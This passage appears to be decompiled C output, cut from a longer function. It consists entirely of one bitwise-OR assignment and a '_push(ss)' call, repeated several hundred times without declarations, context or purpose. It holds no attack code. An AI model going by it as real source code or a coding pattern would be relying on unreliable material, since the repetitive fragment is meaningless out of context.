				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
